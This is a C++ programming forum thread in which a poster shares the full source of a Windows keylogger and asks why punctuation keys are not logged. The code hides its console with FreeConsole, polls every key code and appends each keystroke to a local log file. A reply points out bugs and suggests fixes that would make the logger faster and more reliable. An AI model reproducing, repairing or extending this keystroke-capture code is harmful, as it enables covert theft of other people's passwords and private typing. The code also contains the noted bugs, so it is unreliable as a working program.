Keylogger in C++ not logging special characters

Hi Ppl.

I've got this keylogger that I wrote/copied and I can't get it to log special characters into the log file. Everything else seems to be working really well. The original author mentioned to use and expand virtual key codes from MSDN, which I have been doing succesfully with other keys. Now also before I use the Free console command the console itself is not logging any value for dots, commas etc. Does it make a difference if I'm running this on a laptop? Why Am I getting no input to the console? Any help or pointers in the right direction would really be helpfull and much appreciated.
Below is my code. Thank you.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
  #include <iostream>
#include <Windows.h>

using namespace std;

int Save(int _key, char *file);

int main(){

	FreeConsole();


	char i;

	while (true) {
		Sleep(50);
		for (i = 8; i <= 255; i++){
			if (GetAsyncKeyState(i) == -32767) {
				Save(i, "log.txt");

			}
	}
	}
	return 0;
}

int Save(int _key, char *file) {

	cout << _key << endl;

	Sleep(50);

	FILE *OUTPUT_FILE;

	OUTPUT_FILE = fopen(file, "a+");
	if (_key == VK_SHIFT)
		fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
	else if (_key == VK_BACK)
		fprintf(OUTPUT_FILE, "%s", "[BACK]");
	else if (_key == VK_LBUTTON)
		fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
	else if (_key == VK_RBUTTON)
		fprintf(OUTPUT_FILE, "%s", "[RBUTTON]");
	else if (_key == VK_RETURN)
		fprintf(OUTPUT_FILE, "%s", "[ENTER]");
	else if (_key == VK_CONTROL)
		fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
	else if (_key == VK_CAPITAL)
		fprintf(OUTPUT_FILE, "%s", "[CAPSLOCK]");
	else if (_key == VK_ESCAPE)
		fprintf(OUTPUT_FILE, "%s", "[ESC]");
	else if (_key == VK_MENU)
		fprintf(OUTPUT_FILE, "%s", "[MENU]");
	else if (_key == VK_SPACE)
		fprintf(OUTPUT_FILE, "%s", "[SPACEBAR]");
	else if (_key == VK_PRIOR)
		fprintf(OUTPUT_FILE, "%s", "[PG UP]");
	else if (_key == VK_NEXT)
		fprintf(OUTPUT_FILE, "%s", "[PG DWN]");
	else if (_key == VK_HOME)
		fprintf(OUTPUT_FILE, "%s", "[HOME]");
	else if (_key == VK_END)
		fprintf(OUTPUT_FILE, "%s", "[END]");
	else if (_key == VK_LEFT)
		fprintf(OUTPUT_FILE, "%s", "[LEFT ARROW]");
	else if (_key == VK_RIGHT)
		fprintf(OUTPUT_FILE, "%s", "[RIGHT ARROW]");
	else if (_key == VK_UP)
		fprintf(OUTPUT_FILE, "%s", "[UP ARROW]");
	else if (_key == VK_DOWN)
		fprintf(OUTPUT_FILE, "%s", "[DOWN ARROW]");
	else if (_key == VK_DELETE)
		fprintf(OUTPUT_FILE, "%s", "[DELETE]");
	else if (_key == VK_OEM_PLUS)
		fprintf(OUTPUT_FILE, "%s", "[PLUS]");
	else if (_key == VK_OEM_COMMA)
		fprintf(OUTPUT_FILE, "%s", "[COMMA]");
	else if (_key == VK_OEM_MINUS)
		fprintf(OUTPUT_FILE, "%s", "[MINUS]");
	else if (_key == VK_OEM_PERIOD)
		fprintf(OUTPUT_FILE, "%s", "[PERIOD]"); 
	else if (_key == VK_OEM_2)
		fprintf(OUTPUT_FILE, "%s", "[FRONTSLASH]");
	else if (_key == VK_OEM_3)
		fprintf(OUTPUT_FILE, "%s", "[TILDA]");
	else if (_key == VK_OEM_4)
		fprintf(OUTPUT_FILE, "%s", "[CURLYBRACKET]");
	else if (_key == VK_OEM_5)
		fprintf(OUTPUT_FILE, "%s", "[BACKSLASH]");
	else if (_key == VK_OEM_6)
		fprintf(OUTPUT_FILE, "%s", "[BACKWARDCURLYBRACKET]");
	else if (_key == VK_OEM_7)
		fprintf(OUTPUT_FILE, "%s", "[SINGLEDOUBLEQUOTE]");
	else if (_key == VK_MULTIPLY)
		fprintf(OUTPUT_FILE, "%s", "[MULTIPLY]");
	else if (_key == VK_ADD)
		fprintf(OUTPUT_FILE, "%s", "[ADD]");
	else if (_key == VK_SUBTRACT)
		fprintf(OUTPUT_FILE, "%s", "[SUBTRACT]");
	else if (_key == VK_SEPARATOR)
		fprintf(OUTPUT_FILE, "%s", "[SEPARATOR]");
	else if (_key == VK_DECIMAL)
		fprintf(OUTPUT_FILE, "%s", "[DECIMAL]");
	else if (_key == VK_DIVIDE)
		fprintf(OUTPUT_FILE, "%s", "[DIVIDE]");
	else
	fprintf(OUTPUT_FILE, "%s", &_key);

	fclose(OUTPUT_FILE);

	return 0;
}
Line 17: If char is 8 bits then when will it be greater than 255?
Line 18: If char is signed then you'll be passing parameters -127 to +128 to GetAsyncKeyState().
Line 107: _key is an int but you're telling fprintf to print it as though it were a cstring. I can't imagine that's right.

Lines 25 and 109: A good typist could probably out type your program because you open and close the file for every key press. Open the file in main() and pass the the FILE pointer.

Lines 36-107: Use a switch statement instead of a series of if/else statements. It will be much faster, the code will be clearer, and the compiler will catch mistakes like comparing for the same value twice.
Topic archived. No new replies allowed.